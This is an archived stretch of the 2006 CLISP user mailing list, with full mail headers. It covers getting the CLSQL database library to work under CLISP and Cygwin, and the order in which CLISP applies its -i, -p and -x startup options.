X-Mailer: Apple Mail (2.750) X-OriginalArrivalTime: 21 May 2006 07:03:30.0005 (UTC) FILETIME=[AA495050:01C67CA4] X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 00:04:02 2006 X-Original-Date: Sun, 21 May 2006 02:03:43 -0500 On May 20, 2006, at 10:58 PM, Don Cohen wrote: > Clsql seems not to work at the moment, though I don't know why. > I bet it wouldn't be too hard to fix. Were you trying this with hacked UFFI, or CFFI's uffi-compat? -- Stephen Compall http://scompall.nocandysw.com/blog From lisp-clisp-list@m.gmane.org Sun May 21 01:00:48 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fhirk-0002fO-Ui for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 01:00:44 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fhirl-0006kp-4Q for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 01:00:45 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Fhirk-000458-JY for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 01:00:45 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Fhirh-0004x4-J1 for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 10:00:41 +0200 Received: from 207.179.102.62 ([207.179.102.62]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 21 May 2006 10:00:41 +0200 Received: from vanek by 207.179.102.62 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 21 May 2006 10:00:41 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lou Vanek Lines: 33 Message-ID: References: <20060521034532.AA63A1A8190@isis.cs3-inc.com> <17519.58753.40107.976778@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 207.179.102.62 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 X-Accept-Language: en-us, en In-Reply-To: <17519.58753.40107.976778@isis.cs3-inc.com> X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: sql libraries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 01:01:08 2006 X-Original-Date: Sun, 21 May 2006 08:00:33 +0000 Don Cohen wrote: > > > I am very saddened to have to report that I am forced to punt CLISP > > in favor of Python. The SQL libraries actually work, what a relief > > and those triple quotes are kinda cute. Although my code is not as > > nice, working libraries take me a long way. [insert rant ad lib] > > Which libraries, what DB's, what platform are you trying to use? > I did manage to get odbc-cl to work, and it's pretty straight forward > to use something like the mysql command from clisp. > Clsql seems not to work at the moment, though I don't know why. > I bet it wouldn't be too hard to fix. Clsql relies on uffi. Cffi's uffi compatibility module has some problems. I submitted a patch to Luís Oliveira and he seems favorable to incorporating it. Clsql itself has problems with it's library loader code (find-and-load-foreign-library) if you are on windows or cygwin, but it's only one function that needs to be reworked. If you're on windows you also have to make sure that all library C code is recompiled into Dlls (not unix shared libraries). If you are using Cygwin you also may need to rename the Dlls so that they have an .so extension. Also, Clsql's make files have to be tweaked unless you are running on a major platform. Oh, and Clsql's loop macro doesn't work on Clisp (but it's not needed). A bunch of silly little details, to be sure, but once you know what needs a little lovin' it isn't that hard (except figuring out that cffi/uffi patch--that was hard). I use Clsql to connect to Mysql 4.1 using Clsql's mysql package. And, as you've probably guessed by now, I'm running on cygwin, which made it that much more interesting. I agree that the state of Lisp's (free) libraries need more attention. That's why I think the Python, Perl, PHP, and Ruby communities are so vibrant -- their libraries are mature, maintained, and continue to grow. Can't say the same for Lisp, sadly. Happy trails. From fusion@mx6.tiki.ne.jp Sun May 21 03:59:46 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fhlez-0005sT-Gs for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 03:59:45 -0700 Received: from smtp9.tiki.ne.jp ([218.40.30.106]) by mail.sourceforge.net with esmtps (TLSv1:DES-CBC3-SHA:168) (Exim 4.44) id 1Fhley-0006e9-8o for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 03:59:45 -0700 Received: from [192.168.11.5] (pl479.nas934.takamatsu.nttpc.ne.jp [210.136.197.223]) (authenticated bits=0) by smtp9.tiki.ne.jp (8.12.11/8.12.11) with ESMTP id k4LAxY0Z001921 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 21 May 2006 19:59:35 +0900 (JST) (envelope-from fusion@mx6.tiki.ne.jp) Mime-Version: 1.0 (Apple Message framework v750) In-Reply-To: References: <20060521034532.AA63A1A8190@isis.cs3-inc.com> <17519.58753.40107.976778@isis.cs3-inc.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Jean-Christophe Helary Subject: Re: [clisp-list] Re: sql libraries To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.750) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 04:00:03 2006 X-Original-Date: Sun, 21 May 2006 19:59:33 +0900 On 2006/05/21, at 17:00, Lou Vanek wrote: > I agree that the state of Lisp's (free) libraries need more > attention. That's why I think > the Python, Perl, PHP, and Ruby communities are so vibrant -- their > libraries are mature, > maintained, and continue to grow. Can't say the same for Lisp, sadly. Which is the reason why CL-Gardeners was born I gather. JC Helary From Devon@Jovi.Net Sun May 21 08:19:46 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fhpib-0001Cb-CW for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 08:19:45 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fhpib-00056r-BH for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 08:19:45 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FhpiZ-0001wL-U2 for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 08:19:45 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k4LFJAm2036035 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 21 May 2006 11:19:10 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k4LFJ1AV036030; Sun, 21 May 2006 11:19:01 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605211519.k4LFJ1AV036030@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: Lou Vanek CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Lou Vanek on Sun, 21 May 2006 08:00:33 +0000) Subject: Re: [clisp-list] Re: sql libraries References: <20060521034532.AA63A1A8190@isis.cs3-inc.com> <17519.58753.40107.976778@isis.cs3-inc.com> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 X-Spam-Status: No, score=-3.1 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sun, 21 May 2006 11:19:20 -0400 (EDT) Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by grant.org id k4LFJAm2036035 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 08:20:05 2006 X-Original-Date: Sun, 21 May 2006 11:19:01 -0400 (EDT) From: Lou Vanek Date: Sun, 21 May 2006 08:00:33 +0000 Clsql relies on uffi. Cffi's uffi compatibility module has some problems. I submitted a patch to Lu=EDs Oliveira and he seems favorable to incorporating it. Gee, would you send me all the non-CLISP sources, patched or original, that went into your working CLSQL package? If I get it to work here I'll send back the fixes. I agree that the state of Lisp's (free) libraries need more attention. That's why I think the Python, Perl, PHP, and Ruby communities are so vibrant -- their libraries are mature, maintained, and continue to grow. Can't say the same for Lisp, sadly. Amen! Back to Python. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From don-sourceforge-xx@isis.cs3-inc.com Sun May 21 10:11:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhrSi-0005CG-Qw for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 10:11:28 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FhrSh-00048G-GZ for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 10:11:28 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id AABCC1A818F; Sun, 21 May 2006 10:11:23 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17520.40763.642118.229989@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] -p argument getting lost Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 10:12:05 2006 X-Original-Date: Sun, 21 May 2006 10:11:23 -0700 Here's a long standing problem that I only now begin to think of as a clisp bug. Let's see what the rest of you think. Consider a batch file with a command like clisp -i start.lsp -p MYPKG The behavior I see suggests that this is interpreted as something like (progn (load "start.lsp")(in-package "MYPKG")) The problem is that if the load breaks and the user aborts then he doesn't end up in MYPKG. One common case is that the load actually goes into a user interaction loop in which the code expects to be in MYPKG. In the case where the user is not actually a programmer one usually tries to catch errors, but it's sometimes useful (esp. for debugging) to break. At that point you might want to abort and restart, or the user might abort accidentally and want to restart. In that situation it would be nice to be in MYPKG after the abort. I think I'd prefer to do the in-package first. That's actually what I would have expected. The only problem I see is that such a change could break some existing working code. How about unwind-protect instead of progn? From lisp-clisp-list@m.gmane.org Sun May 21 10:16:22 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhrXS-0005nH-Hn for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 10:16:22 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FhrXS-0005fa-GS for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 10:16:22 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FhrXR-0003zt-MD for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 10:16:22 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FhrXI-0004Y1-AY for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 19:16:12 +0200 Received: from 207.179.102.62 ([207.179.102.62]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 21 May 2006 19:16:12 +0200 Received: from vanek by 207.179.102.62 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 21 May 2006 19:16:12 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lou Vanek Lines: 34 Message-ID: References: <20060521034532.AA63A1A8190@isis.cs3-inc.com> <17519.58753.40107.976778@isis.cs3-inc.com> <200605211519.k4LFJ1AV036030@grant.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 207.179.102.62 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 X-Accept-Language: en-us, en In-Reply-To: <200605211519.k4LFJ1AV036030@grant.org> X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: sql libraries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 10:17:03 2006 X-Original-Date: Sun, 21 May 2006 17:16:06 +0000 Sure. I'll pack up a tar ball, give it a shake or two, and email it to you. Give me some time to put it together because a code review is in process! I'll assume you aren't a complete newbie and know the basics on setting up asdf packages manually; that will make my end simpler. I'll also assume you have a working mysql installation and the "libmysql.dll" that is normally installed in the "MySQL Server X.X/lib/opt/" directory. -lv Devon Sean McCullough wrote: > From: Lou Vanek > Date: Sun, 21 May 2006 08:00:33 +0000 > > Clsql relies on uffi. Cffi's uffi compatibility module has some > problems. I submitted a patch to Luís Oliveira and he seems > favorable to incorporating it. > > Gee, would you send me all the non-CLISP sources, patched or original, > that went into your working CLSQL package? If I get it to work here > I'll send back the fixes. > > I agree that the state of Lisp's (free) libraries need more > attention. That's why I think the Python, Perl, PHP, and Ruby > communities are so vibrant -- their libraries are mature, > maintained, and continue to grow. Can't say the same for Lisp, > sadly. > > Amen! Back to Python. > > Peace > --Devon From pjb@informatimago.com Sun May 21 10:49:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fhs3e-00017r-7j for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 10:49:38 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fhs3c-00059e-NP for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 10:49:38 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 730EB585E7; Sun, 21 May 2006 19:49:28 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A1671585D4; Sun, 21 May 2006 19:49:22 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 78B2087A9; Sun, 21 May 2006 19:49:22 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17520.43042.453111.220172@thalassa.informatimago.com> To: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] -p argument getting lost In-Reply-To: <17520.40763.642118.229989@isis.cs3-inc.com> References: <17520.40763.642118.229989@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 10:50:04 2006 X-Original-Date: Sun, 21 May 2006 19:49:22 +0200 Don Cohen writes: > > Here's a long standing problem that I only now begin to think of as a > clisp bug. Let's see what the rest of you think. > Consider a batch file with a command like > clisp -i start.lsp -p MYPKG > The behavior I see suggests that this is interpreted as something like > (progn (load "start.lsp")(in-package "MYPKG")) > > The problem is that if the load breaks and the user aborts then he > doesn't end up in MYPKG. One common case is that the load actually > goes into a user interaction loop in which the code expects to be in > MYPKG. In the case where the user is not actually a programmer one > usually tries to catch errors, but it's sometimes useful (esp. for > debugging) to break. At that point you might want to abort and > restart, or the user might abort accidentally and want to restart. > In that situation it would be nice to be in MYPKG after the abort. > > I think I'd prefer to do the in-package first. That's actually what > I would have expected. The only problem I see is that such a change > could break some existing working code. > How about unwind-protect instead of progn? Well the order of -i and -p indeed fixed, but you could use -x instead: clisp -q -norc \ -x '(in-package "KEYWORD")' \ -x '(cl:load "print-package.lisp")' \ -x '(ext:quit)' [1]> # KEYWORD[2]> # COMMON-LISP:T KEYWORD[3]> -- __Pascal Bourguignon__ http://www.informatimago.com/ This universe shipped by weight, not volume. Some expansion may have occurred during shipment. From don-sourceforge-xx@isis.cs3-inc.com Sun May 21 11:20:54 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhsXt-0004g7-AI for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 11:20:53 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FhsXs-0004Hb-24 for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 11:20:53 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 33E951A8190; Sun, 21 May 2006 11:20:57 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17520.44937.155980.405533@isis.cs3-inc.com> To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] -p argument getting lost In-Reply-To: <17520.43042.453111.220172@thalassa.informatimago.com> References: <17520.40763.642118.229989@isis.cs3-inc.com> <17520.43042.453111.220172@thalassa.informatimago.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 11:21:10 2006 X-Original-Date: Sun, 21 May 2006 11:20:57 -0700 Pascal Bourguignon writes: > > Well the order of -i and -p indeed fixed, but you could use -x instead: > > clisp -q -norc \ > -x '(in-package "KEYWORD")' \ > -x '(cl:load "print-package.lisp")' \ > -x '(ext:quit)' > > [1]> > # > KEYWORD[2]> > # > COMMON-LISP:T > KEYWORD[3]> One problem with that is that -x means to exit after the forms. In your case the quit is unnecessary. I can fix that with -repl but the next problem is that -x doesn't allow reading from the keyboard. That is, my interactive loop will simply exit due to eof. So ... # cat /tmp/test.lsp (print *package*) (defpackage "TEST") (in-package "TEST") (lisp::print lisp::*package*) (lisp::loop (lisp::print (lisp::eval (lisp::read)))) # /tmp/clisp-2.38/clisp -q -x '(progn (print :hi)(in-package :ffi))' -i /tmp/test.lsp -repl ;; Loading file /tmp/test.lsp ... # # *** - Ctrl-C: User break The following restarts are available: SKIP :R1 skip (LOOP #) STOP :R2 stop loading file /tmp/test.lsp ABORT :R3 ABORT Break 1 TEST[2]> [1]> *package* # [2]> Evidently the -x is also executed after the -i and further, it also gets lost after the abort. From pjb@informatimago.com Sun May 21 11:51:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fht16-0007yU-Eq for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 11:51:04 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fht14-0002QX-NN for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 11:51:04 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id F191C586AC; Sun, 21 May 2006 20:50:56 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B25E1586AB; Sun, 21 May 2006 20:50:48 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7143087B0; Sun, 21 May 2006 20:50:48 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17520.46728.360798.238940@thalassa.informatimago.com> To: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] -p argument getting lost In-Reply-To: <17520.44937.155980.405533@isis.cs3-inc.com> References: <17520.40763.642118.229989@isis.cs3-inc.com> <17520.43042.453111.220172@thalassa.informatimago.com> <17520.44937.155980.405533@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 11:52:03 2006 X-Original-Date: Sun, 21 May 2006 20:50:48 +0200 Don Cohen writes: > Pascal Bourguignon writes: > > > > Well the order of -i and -p indeed fixed, but you could use -x instead: > > > > clisp -q -norc \ > > -x '(in-package "KEYWORD")' \ > > -x '(cl:load "print-package.lisp")' \ > > -x '(ext:quit)' > > > > [1]> > > # > > KEYWORD[2]> > > # > > COMMON-LISP:T > > KEYWORD[3]> > > One problem with that is that -x means to exit after the forms. > In your case the quit is unnecessary. I can fix that with -repl > but the next problem is that -x doesn't allow reading from the > keyboard. That is, my interactive loop will simply exit due to eof. Well, really, everything should be put in a file and either load it or run it as a #! script; then you have full control. -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From don-sourceforge-xx@isis.cs3-inc.com Sun May 21 12:03:59 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhtDZ-0000rJ-51 for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 12:03:57 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FhtDZ-0005T4-81 for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 12:03:57 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FhtDX-0002C0-Up for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 12:03:57 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 6DC221A818F; Sun, 21 May 2006 12:03:55 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17520.47515.396217.774235@isis.cs3-inc.com> To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] -p argument getting lost In-Reply-To: <17520.46728.360798.238940@thalassa.informatimago.com> References: <17520.40763.642118.229989@isis.cs3-inc.com> <17520.43042.453111.220172@thalassa.informatimago.com> <17520.44937.155980.405533@isis.cs3-inc.com> <17520.46728.360798.238940@thalassa.informatimago.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 